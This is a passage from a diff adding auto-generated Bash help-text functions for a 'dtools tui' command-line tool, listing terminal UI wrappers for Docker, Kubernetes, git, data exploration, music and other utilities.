"%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_network_http_request_client_usage() { + printf "dtools tui network http-request-client - HTTP Request client like Postman (wuzz)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui network http-request-client\n" + printf " dtools tui network http-request-client --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_network_http_request_client_2_usage() { + printf "dtools tui network http-request-client-2 - HTTP request client like Postman or Insomnia (slumber)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui network http-request-client-2\n" + printf " dtools tui network http-request-client-2 --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_network_api_client_usage() { + printf "dtools tui network api-client - A simple API client (Postman-like) (atac)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui network api-client\n" + printf " dtools tui network api-client --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_docker_usage() { + printf "dtools tui docker - TUIs for Docker related tools\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui docker COMMAND\n" + printf " dtools tui docker [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s Manage local Docker (lazydocker)\n" "$(green "docker") " + printf " %s A tool for exploring a docker image, layer contents, and discovering ways to shrink the size of your Docker/OCI image. (dive)\n" "$(green "docker-layer-analyzer")" + printf " %s Manage your Kubernetes cluster (k9s)\n" "$(green "kubernetes") " + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_docker_docker_usage() { + printf "dtools tui docker docker - Manage local Docker (lazydocker)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui docker docker\n" + printf " dtools tui docker docker --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_docker_docker_layer_analyzer_usage() { + printf "dtools tui docker docker-layer-analyzer - A tool for exploring a docker image, layer contents, and discovering ways to shrink the size of your Docker/OCI image. (dive)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui docker docker-layer-analyzer\n" + printf " dtools tui docker docker-layer-analyzer --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_docker_kubernetes_usage() { + printf "dtools tui docker kubernetes - Manage your Kubernetes cluster (k9s)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui docker kubernetes\n" + printf " dtools tui docker kubernetes --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_development_usage() { + printf "dtools tui development - TUIs for development related tools\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui development COMMAND\n" + printf " dtools tui development [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s Fast terminal UI for git (gitui)\n" "$(green "git") " + printf " %s Jira terminal UI (jirust)\n" "$(green "jira") " + printf " %s Render markdown on the CLI (glow)\n" "$(green "readme") " + printf " %s Log file navigator (lnav)\n" "$(green "tail-logs") " + printf " %s View a git diff file-by-file with a tree viewer (drft)\n" "$(green "drft") " + printf " %s Validate and execute GitHub workflows locally (wrkflw)\n" "$(green "wrkflw") " + printf " %s Manage your GitHub Actions from the terminal (gama)\n" "$(green "gama") " + printf " %s Easily manage AWS ECS resources (e1s)\n" "$(green "ecs") " + printf " %s A TUI for viewing an OpenAPI spec like Swagger UI (openapi-tui)\n" "$(green "openapi") " + printf " %s A TUI for browsing Google Cloud Storage (burf)\n" "$(green "gcs") " + printf " %s View GitHub pull requests in a TUI (prs)\n" "$(green "prs") " + printf " %s TUI explorer application for Amazon S3 (stu)\n" "$(green "s3") " + printf " %s A terraform and terragrunt TUI (pug)\n" "$(green "terraform") " + printf " %s View and manage systemd journal logs (lazyjournal)\n" "$(green "journal") " + printf " %s Fast, remote-first, multi-host TUI log viewer with timeline histogram and no central server (nerdlog)\n" "$(green "multi-host-log-viewer")" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_development_git_usage() { + printf "dtools tui development git - Fast terminal UI for git (gitui)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui development git\n" + printf " dtools tui development git --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_development_jira_usage() { + printf "dtools tui development jira - Jira terminal UI (jirust)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui development jira\n" + printf " dtools tui development jira --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_development_readme_usage() { + printf "dtools tui development readme - Render markdown on the CLI (glow)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui development readme\n" + printf " dtools tui development readme --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_development_tail_logs_usage() { + printf "dtools tui development tail-logs - Log file navigator (lnav)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui development tail-logs\n" + printf " dtools tui development tail-logs --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_development_drft_usage() { + printf "dtools tui development drft - View a git diff file-by-file with a tree viewer (drft)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui development drft\n" + printf " dtools tui development drft --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " git diff | drft\n" + echo + + fi +} + +# :command.usage +dtools_tui_development_wrkflw_usage() { + printf "dtools tui development wrkflw - Validate and execute GitHub workflows locally (wrkflw)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui development wrkflw\n" + printf " dtools tui development wrkflw --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_development_gama_usage() { + printf "dtools tui development gama - Manage your GitHub Actions from the terminal (gama)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui development gama\n" + printf " dtools tui development gama --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_development_ecs_usage() { + printf "dtools tui development ecs - Easily manage AWS ECS resources (e1s)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui development ecs\n" + printf " dtools tui development ecs --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_development_openapi_usage() { + printf "dtools tui development openapi - A TUI for viewing an OpenAPI spec like Swagger UI (openapi-tui)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui development openapi\n" + printf " dtools tui development openapi --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_development_gcs_usage() { + printf "dtools tui development gcs - A TUI for browsing Google Cloud Storage (burf)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui development gcs GCS_URL\n" + printf " dtools tui development gcs --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "GCS_URL")" + printf " The GCS URL to browse\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " burf gs://prod\n" + echo + + fi +} + +# :command.usage +dtools_tui_development_prs_usage() { + printf "dtools tui development prs - View GitHub pull requests in a TUI (prs)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui development prs\n" + printf " dtools tui development prs --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_development_s3_usage() { + printf "dtools tui development s3 - TUI explorer application for Amazon S3 (stu)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui development s3\n" + printf " dtools tui development s3 --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_development_terraform_usage() { + printf "dtools tui development terraform - A terraform and terragrunt TUI (pug)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui development terraform [OPTIONS]\n" + printf " dtools tui development terraform --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--terraform")" + printf " Use Terraform instead of Terragrunt\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_development_journal_usage() { + printf "dtools tui development journal - View and manage systemd journal logs (lazyjournal)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui development journal\n" + printf " dtools tui development journal --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_development_multi_host_log_viewer_usage() { + printf "dtools tui development multi-host-log-viewer - Fast, remote-first, multi-host TUI log viewer with timeline histogram and no central server (nerdlog)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui development multi-host-log-viewer\n" + printf " dtools tui development multi-host-log-viewer --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_dev_help_usage() { + printf "dtools tui dev-help - TUIs for helping devs get help or solve problems\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui dev-help COMMAND\n" + printf " dtools tui dev-help [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s StackOverflow Query Engine (so)\n" "$(green "stack-overflow")" + printf " %s Wikipedia TUI (wiki-tui)\n" "$(green "wiki") " + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_dev_help_stack_overflow_usage() { + printf "dtools tui dev-help stack-overflow - StackOverflow Query Engine (so)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui dev-help stack-overflow\n" + printf " dtools tui dev-help stack-overflow --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_dev_help_wiki_usage() { + printf "dtools tui dev-help wiki - Wikipedia TUI (wiki-tui)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui dev-help wiki\n" + printf " dtools tui dev-help wiki --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_data_usage() { + printf "dtools tui data - TUIs to query or analyze data\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui data COMMAND\n" + printf " dtools tui data [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s Database management (gobang)\n" "$(green "db") " + printf " %s A terminal interface for exploring and arranging tabular data. (visidata)\n" "$(green "explorer") " + printf " %s The SQL IDE for your terminal. (harlequin)\n" "$(green "database-ide") " + printf " %s A Kafka cluster query IDE (yozefu)\n" "$(green "kafka") " + printf " %s Jupyter Notebook in your terminal. (euporie-notebook, euporie-preview, and euporie-console)\n" "$(green "jupyter-notebook")" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_data_db_usage() { + printf "dtools tui data db - Database management (gobang)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui data db\n" + printf " dtools tui data db --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_data_explorer_usage() { + printf "dtools tui data explorer - A terminal interface for exploring and arranging tabular data. (visidata)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui data explorer\n" + printf " dtools tui data explorer --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_data_database_ide_usage() { + printf "dtools tui data database-ide - The SQL IDE for your terminal. (harlequin)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui data database-ide\n" + printf " dtools tui data database-ide --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_data_kafka_usage() { + printf "dtools tui data kafka - A Kafka cluster query IDE (yozefu)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui data kafka\n" + printf " dtools tui data kafka --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_data_jupyter_notebook_usage() { + printf "dtools tui data jupyter-notebook - Jupyter Notebook in your terminal. (euporie-notebook, euporie-preview, and euporie-console)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui data jupyter-notebook\n" + printf " dtools tui data jupyter-notebook --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_misc_usage() { + printf "dtools tui misc - TUIs for miscellaneous things\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui misc COMMAND\n" + printf " dtools tui misc [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s Terminal-based Joplin client for notes (joplin)\n" "$(green "notes") " + printf " %s Terminal-based presentations using Pandoc (patat)\n" "$(green "presentation") " + printf " %s A custom SSH server that takes you to a chat instead of a shell prompt (ssh nickname@devzat.hackclub.com)\n" "$(green "dev-chat") " + printf " %s Terminal file manager (nnn)\n" "$(green "file-manager") " + printf " %s A terminal screensaver (ttysvr)\n" "$(green "screensaver") " + printf " %s Displays the weather (wego)\n" "$(green "weather") " + printf " %s A collection of utilities for Linux (linutil)\n" "$(green "linutil") " + printf " %s A terminal-based Slack client (slack-term)\n" "$(green "slack") " + printf " %s Play YouTube Music from the terminal (ytermusic)\n" "$(green "youtube-music") " + printf " %s Play YouTube Music from the terminal (ytui_music)\n" "$(green "youtube-music-2") " + printf " %s Play music from your Jellyfin server in the terminal (jellyfin-tui)\n" "$(green "jellyfin") " + printf " %s Audio visualizations in the terminal (vis)\n" "$(green "visualizations") " + printf " %s Audio visualizations in the terminal (cava)\n" "$(green "visualizations-2")" + printf " %s Interactive find and replace in the terminal (scooter)\n" "$(green "find-and-replace")" + printf " %s Watch movies in your terminal with ASCII art! (ssh into watch.ascii.theater)\n" "$(green "ascii-theater") " + printf " %s View your calendars in the terminal (calcure)\n" "$(green "calendar") " + printf " %s A piano in your terminal (upiano)\n" "$(green "piano") " + printf " %s A TUI and CLI for managing *arr servers (managarr)\n" "$(green "servarr") " + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_misc_notes_usage() { + printf "dtools tui misc notes - Terminal-based Joplin client for notes (joplin)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui misc notes\n" + printf " dtools tui misc notes --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_misc_presentation_usage() { + printf "dtools tui misc presentation - Terminal-based presentations using Pandoc (patat)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui misc presentation\n" + printf " dtools tui misc presentation --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_misc_dev_chat_usage() { + printf "dtools tui misc dev-chat - A custom SSH server that takes you to a chat instead of a shell prompt (ssh nickname@devzat.hackclub.com)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui misc dev-chat NICKNAME\n" + printf " dtools tui misc dev-chat --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "NICKNAME")" + printf " Nickname to use when joining the chat\n" + echo + + fi +} + +# :command.usage +dtools_tui_misc_file_manager_usage() { + printf "dtools tui misc file-manager - Terminal file manager (nnn)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui misc file-manager\n" + printf " dtools tui misc file-manager --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_misc_screensaver_usage() { + printf "dtools tui misc screensaver - A terminal screensaver (ttysvr)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui misc screensaver\n" + printf " dtools tui misc screensaver --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " ttysvr bubbles\n" + printf " ttysvr logo dvd\n" + printf " ttysvr logo tty\n" + printf " ttysvr maze brick\n" + printf " ttysvr maze hedge\n" + printf " # Run the screensaver after DELAY of seconds\n # of inactivity in the current shell session\n eval \`ttysvr [VARIANT] --init [DELAY]\`\n" + printf " # Cancel the screensaver in current shell session\n eval \`ttysvr --cancel\`\n" + echo + + fi +} + +# :command.usage +dtools_tui_misc_weather_usage() { + printf "dtools tui misc weather - Displays the weather (wego)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui misc weather\n" + printf " dtools tui misc weather --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_misc_linutil_usage() { + printf "dtools tui misc linutil - A collection of utilities for Linux (linutil)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui misc linutil\n" + printf " dtools tui misc linutil --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_misc_slack_usage() { + printf "dtools tui misc slack - A terminal-based Slack client (slack-term)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui misc slack\n" + printf " dtools tui misc slack --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_misc_youtube_music_usage() { + printf "dtools tui misc youtube-music - Play YouTube Music from the terminal (ytermusic)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui misc youtube-music\n" + printf " dtools tui misc youtube-music --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_misc_youtube_music_2_usage() { + printf "dtools tui misc youtube-music-2 - Play YouTube Music from the terminal (ytui_music)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui misc youtube-music-2\n" + printf " dtools tui misc youtube-music-2 --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_misc_jellyfin_usage() { + printf "dtools tui misc jellyfin - Play music from your Jellyfin server in the terminal (jellyfin-tui)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui misc jellyfin\n" + printf " dtools tui misc jellyfin --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_misc_visualizations_usage() { + printf "dtools tui misc visualizations - Audio visualizations in the terminal (vis)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui misc visualizations\n" + printf " dtools tui misc visualizations --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_misc_visualizations_2_usage() { + printf "dtools tui misc visualizations-2 - Audio visualizations in the terminal (cava)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui misc visualizations-2\n" + printf " dtools tui misc visualizations-2 --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_misc_find_and_replace_usage() { + printf "dtools tui misc find-and-replace - Interactive find and replace in the terminal (scooter)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui misc find-and-replace\n" + printf " dtools tui misc find-and-replace --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_misc_ascii_theater_usage() { + printf "dtools tui misc ascii-theater - Watch movies in your terminal with ASCII art! (ssh into watch.ascii.theater)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui misc ascii-theater\n" + printf " dtools tui misc ascii-theater --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_misc_calendar_usage() { + printf "dtools tui misc calendar - View your calendars in the terminal (calcure)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui misc calendar\n" + printf " dtools tui misc calendar --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_misc_piano_usage() { + printf "dtools tui misc piano - A piano in your terminal (upiano)\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools tui misc piano\n" + printf " dtools tui misc piano --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_tui_misc_servarr_usage() { + printf "dtools tui misc servarr - A TUI and CLI for managing *arr servers (managarr)\n\n" + + printf 